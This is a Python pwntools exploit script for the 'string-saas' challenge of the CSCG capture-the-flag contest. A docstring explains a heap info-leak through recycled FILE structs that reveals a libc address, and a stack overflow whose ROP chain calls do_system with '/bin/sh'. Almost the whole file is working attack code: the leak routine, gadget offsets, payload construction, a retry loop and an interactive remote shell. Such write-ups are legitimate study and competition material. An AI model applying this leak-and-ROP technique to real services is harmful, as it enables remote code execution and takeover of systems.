#!/usr/bin/env python3 """ Exploit for string-saas (CSCG CTF) =================================== Vulns: 1) Heap info-leak via FILE-struct recycling in analyze() 2) Stack buffer overflow in main (fgets 64 into buf[32]) Mitigations: Full RELRO, PIE, NX, no canary. Server: ynetd (fork-based → stable ASLR per restart). Step 1 – Leak libc via analyze() • First analyze(): send a valid ZIP → fopen/fclose puts a freed locked_FILE struct into a tcache bin. • Second analyze(): send base64 that decodes to exactly 464 bytes of non-null, non-ZIP data. decode()'s malloc recycles the freed FILE chunk. The decoded 464 bytes overwrite the chunk's front; the _IO_wide_data._wide_vtable pointer at offset 464 survives untouched. fprintf(stderr, "Not a ZIP: %s\n", buf) prints past our data and leaks the vtable pointer (_IO_wfile_jumps). Step 2 – ROP via buffer overflow Payload (63 bytes, NO embedded 0x0a): 32 B padding | 8 B fake rbp | 8 B pop_rdi;ret | 8 B &"/bin/sh" | 7 B do_system+2 fgets's NUL terminator supplies byte 7 of the last address (0x00). Immediately after the 63 raw bytes we append b"exit\n". • fgets #1 reads the 63-byte ROP blob (no newline → stops at n-1=63). • fgets #2 reads "exit\n" into buf[0..4] without touching buf[40..63]. • main does leave;ret → pop rdi → "/bin/sh" → do_system+2 → shell! We jump to do_system+2 (skipping `push r15`) to fix 16-byte stack alignment that system()'s movaps [rsp] requires. """ from pwn import * import base64, zipfile, io, sys # ── CONFIG ──────────────────────────────────────────────────────── REMOTE_HOST = "t5b46wguuorhymil3pq25tocmk-1024-string-saas.challenge.cscg.live" # set e.g. "pwn.cscg.live" REMOTE_PORT = 443 # set e.g. 1024 # Offsets for the *provided* libc (Ubuntu GLIBC 2.35-0ubuntu3.6) LIBC_IO_WFILE_JUMPS = 0x2170c0 LIBC_POP_RDI = 0x2a3e5 LIBC_BINSH = 0x1d8678 LIBC_DO_SYSTEM_P2 = 0x50902 # do_system+2, skips push r15 for alignment LEAK_DECODE_SIZE = 464 # decoded bytes that recycle the FILE chunk # ────────────────────────────────────────────────────────────────── context.binary = ELF('./string-saas_patched', checksec=False) context.log_level = 'info' # Override with local libc if running locally USE_LOCAL = (REMOTE_HOST is None) if USE_LOCAL: _libc = ELF('./libc.so.6', checksec=False) LIBC_IO_WFILE_JUMPS = _libc.symbols['_IO_wfile_jumps'] LIBC_POP_RDI = ROP(_libc, badchars=b'\n').find_gadget(['pop rdi', 'ret'])[0] LIBC_BINSH = next(_libc.search(b'/bin/sh\x00')) # find do_system jmp target import subprocess as _sp _r = _sp.run(['objdump','-d','-M','intel', f'--start-address={hex(_libc.symbols["system"])}', f'--stop-address={hex(_libc.symbols["system"]+20)}', '/lib/x86_64-linux-gnu/libc.so.6'], capture_output=True, text=True) for _line in _r.stdout.split('\n'): if 'jmp' in _line and ':' in _line: for _tok in _line.split(): try: _v = int(_tok, 16) if _v > 0x10000: LIBC_DO_SYSTEM_P2 = _v + 2 except: pass log.info(f"Local offsets: wfile=0x{LIBC_IO_WFILE_JUMPS:x} pop_rdi=0x{LIBC_POP_RDI:x} " f"binsh=0x{LIBC_BINSH:x} dosys2=0x{LIBC_DO_SYSTEM_P2:x}") def conn(): if REMOTE_HOST: return remote(REMOTE_HOST, REMOTE_PORT, ssl=True) else: return process('./string-saas_patched', stderr=STDOUT) def make_zip_b64(): buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr('t.txt', 'A') return base64.b64encode(buf.getvalue()) def do_leak(p): """ Leak _IO_wfile_jumps address via FILE-struct recycling. Returns the leaked libc address or None. """ b64_zip = make_zip_b64() # 1) Valid ZIP → triggers fopen / fwrite / fclose p.sendline(b'analyze') p.recvuntil(b'ZIP:') p.sendline(b64_zip) p.recvuntil(b'> ') # 2) Non-ZIP → recycled FILE chunk leaks via fprintf %s raw = b'\x41' * LEAK_DECODE_SIZE # 464 bytes of 'A' p.sendline(b'analyze') p.recvuntil(b'ZIP:') p.sendline(base64.b64encode(raw)) resp = p.recvuntil(b'> ', timeout=5) if b'Not a ZIP: ' not in resp: return None start = resp.index(b'Not a ZIP: ') + len(b'Not a ZIP: ') end = resp.index(b'\n', start) data = resp[start:end] extra = data[LEAK_DECODE_SIZE:] if len(extra) < 6: return None return u64(extra[:6].ljust(8, b'\x00')) # ── MAIN ────────────────────────────────────────────────────────── MAX_LEAK_TRIES = 50 for attempt in range(1, MAX_LEAK_TRIES + 1): p = conn() p.recvuntil(b'> ') leaked = do_leak(p) if leaked is None: log.info(f"Attempt {attempt}/{MAX_LEAK_TRIES}: leak too short, retrying…") p.close() continue libc_base = leaked - LIBC_IO_WFILE_JUMPS if libc_base & 0xfff: log.warn(f"Attempt {attempt}: base not page-aligned (0x{libc_base:x}), retrying…") input() p.close() continue log.success(f"libc base = 0x{libc_base:x}") pop_rdi = libc_base + LIBC_POP_RDI binsh = libc_base + LIBC_BINSH dosys2 = libc_base + LIBC_DO_SYSTEM_P2 # Build 63-byte ROP blob payload = b'A' * 32 # input_buf (32 B) payload += b'B' * 8 # saved rbp (don't care) payload += p64(pop_rdi) # saved rip → pop rdi; ret payload += p64(binsh) # → "/bin/sh" payload += p64(dosys2)[:7] # → do_system+2 (byte 7 = \0 by fgets) assert len(payload) == 63, f"payload len {len(payload)} != 63" if b'\x0a' in payload: log.warn(f"Attempt {attempt}: 0x0a in ROP payload (bad ASLR luck). " "Need server restart for new layout.") p.close() # On a fork server the layout is fixed until restart. # If running locally each process() gives new ASLR. continue log.info("Sending overflow + 'exit' trigger…") p.send(payload + b'exit\n') p.recvuntil(b'ok, bye!') log.success("main returned → ROP chain executing") # Give the shell a moment to start import time; time.sleep(0.2) p.sendline(b'echo "SHELL_OK"') try: p.recvuntil(b'SHELL_OK', timeout=3) log.success("Got shell!") except EOFError: log.warn("Shell died — alignment or constraint issue") p.close() continue p.interactive() break else: log.failure(f"Failed after {MAX_LEAK_TRIES} attempts")